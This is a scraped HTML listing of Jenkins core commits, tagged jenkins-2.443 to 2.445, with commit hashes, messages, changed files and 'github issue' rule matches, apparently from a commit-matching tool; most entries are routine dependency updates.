    -
    - - - - -
    -
    -
    - e05ffb8a789a479b23b38ef407b35d508095222e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8944
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72637] Make Cloud permission scope inherit from Jenkins (#8944) [JENKINS-72637] Make Cloud permission scope inherit from Overall Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/Cloud.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss to v8.4.34 (#8948) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 11472cd995f2bfd5893eba3edaf45bdc35231635 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8948
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss to v8.4.34 (#8948) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependabot stable branch (#8946) Signed-off-by: Alexander... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - fc056066a0d5f9b3c4ee9d714b930eb313ab2e5d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8946
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependabot stable branch (#8946) Signed-off-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/dependabot.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion`... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9c52da9d7611b2ac9206d5689986445c71f1b5eb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8939
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion` from 2.0.11 to 2.0.12. Updates `org.slf4j:jcl-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:log4j-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-api` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-jdk14` from 2.0.11 to 2.0.12 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency prettier to v3.2.5 (#8940) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1b0a4a80a3eea2bf5aa007388386a30625a0c06a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8940
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency prettier to v3.2.5 (#8940) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Create new index page for heap dump creation (#8929) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b8236f82901467023e1fd5ea646a93afc953b1ff -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8929
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Create new index page for heap dump creation (#8929) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/util/RemotingDiagnostics.java - - core/src/main/resources/hudson/util/Messages.properties - - core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.jelly - - core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency css-loader to v6.10.0 (#8931) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c0f66f52b4161a4caba10a877336618a359b1ea6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8931
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency css-loader to v6.10.0 (#8931) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c7cfa30be868257fe250f6a2808a51fb35d81899 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8925
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to 1259.v65ffcef24a_88 (#8925)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint to v16.2.1 (#8935) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 61d4d0ce51b5d87167350edab8ad45eed6f656af -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8935
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint to v16.2.1 (#8935) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency webpack to v5.90.1 (#8936) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2eb549efe20905cbca547c33f97c75cd080de88d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8936
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency webpack to v5.90.1 (#8936) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4183fdb47456481b1ff24b5cfc188b05d1ecfe3f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8930
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn SHA256 Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/pom.xml - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bd0743407b6220f50a988979b8682a2885f1fd85 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8927
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps [release-drafter/release-drafter](https://github.com/release-drafter/release-drafter) from 5 to 6. - [Release notes](https://github.com/release-drafter/release-drafter/releases) - [Commits](https://github.com/release-drafter/release-drafter/compare/v5...v6) --- updated-dependencies: - dependency-name: release-drafter/release-drafter dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/changelog.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b5f3d7173ccef98e4b41c653dda145c49e75537e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8932
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6cff8fe045a4b76d2d00f922123a44083ce0a466 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8933
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency lit to v3.1.2 (#8934) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e2f2c7307583c992f383e998cf7f0efaa84494d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8934
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency lit to v3.1.2 (#8934) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/site/site.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72636] Prevent authenticated access to Resource Root URL... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3ad945f7f3ab32ffb561486a7e6e80b8d55fc22d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8922
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72636] Prevent authenticated access to Resource Root URL (#8922) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/security/ResourceDomainRootAction.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 81679b4598a3550d5e776ca070661efb8f2eb862 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8921
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/security/AbstractPasswordBasedSecurityRealm.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 57419f43b9bb89d564cee4913dd4a3216ba1e360 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8902
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/AbstractItem.java - - core/src/main/java/hudson/model/ItemGroup.java - - core/src/main/java/hudson/model/Items.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fixing `NotSerializableException:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ddf68d38749567b5c27fc308425f6ef49cb20f3d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8918
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fixing `NotSerializableException: org.acegisecurity.context.SecurityContext$1` (#8918)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/org/acegisecurity/context/SecurityContext.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add marker class to submit buttons (#8920) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c00a30da805e95e7fb69104af2ddaedb2a0fc74b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8920
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add marker class to submit buttons (#8920)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/form/submit.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint-checkstyle-reporter to v1 (#8919)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4d5bb02c8fadae4a8bcf3510613d6716756d7e3e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8919
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint-checkstyle-reporter to v1 (#8919) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 907394527c26926ba658d6353dcfaf409e10710b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8915
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.23.9 (#8910) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b62609806b4ca0a2e785af30187f928fcbb9b27d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8910
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.23.9 (#8910) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 090ada7bfdb570cb54c6d56d397716e11162368a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8904
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to 1319.v7eb_51b_3a_c97b_ (#8904) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency webpack to v5.90.0 (#8906) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 419539c1fa889155cee4ea27a415bc101c64f6dc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8906
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency webpack to v5.90.0 (#8906) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency node to v20.11.0 (#8899) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c414546f8bf856056957ff4af3208a3993db492c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8899
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency node to v20.11.0 (#8899) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8088f30d396318bf90ea30b2ec2e253dea98c25c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8901
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to 1317.v0ce519a_92b_3e (#8901) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-66677] Localize "This folder is empty" text (#8890) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ae9b71cfeca9023451abf0d24a2940be3560e88c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8890
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-66677] Localize "This folder is empty" text (#8890) * [JENKINS-66677] Localize "This folder is empty" text * Apply code review suggestions Co-authored-by: Hervé Le Meur <91831478+lemeurherve@users.noreply.github.com> --------- Co-authored-by: Hervé Le Meur <91831478+lemeurherve@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/AllView/noJob.groovy - - core/src/main/resources/hudson/model/AllView/noJob.properties - - core/src/main/resources/hudson/model/AllView/noJob_fr.properties - - core/src/main/resources/hudson/model/Job/configure_fr.properties - - core/src/main/resources/hudson/model/Messages_fr.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Upgrade transitive frontend dependencies (#8896) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 68131ec1826a3289b00594b881527b005d774834 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8896
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Upgrade transitive frontend dependencies (#8896)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint-config-standard to v36 (#8805)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e83c64df4de7840cb7fbbac511af83e10cc5515 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8805
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint-config-standard to v36 (#8805) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/src/main/scss/abstracts/_theme.scss - - war/src/main/scss/base/_layout-commons.scss - - war/src/main/scss/components/_side-panel-tasks.scss - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 76d4e1eed426a39e327c31dbd8c5ccf607b74928 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8875
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from 2.1.4 to 2.1.5 (#8875) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - cli/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5b364bc022c51914bb2fb3e279d486085c53e0fd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8871
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency prettier to v3.2.4 (#8892) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d480a76706f3b7f77effc106549795fe8c994355 -
    -
    - - - - Open commit - -
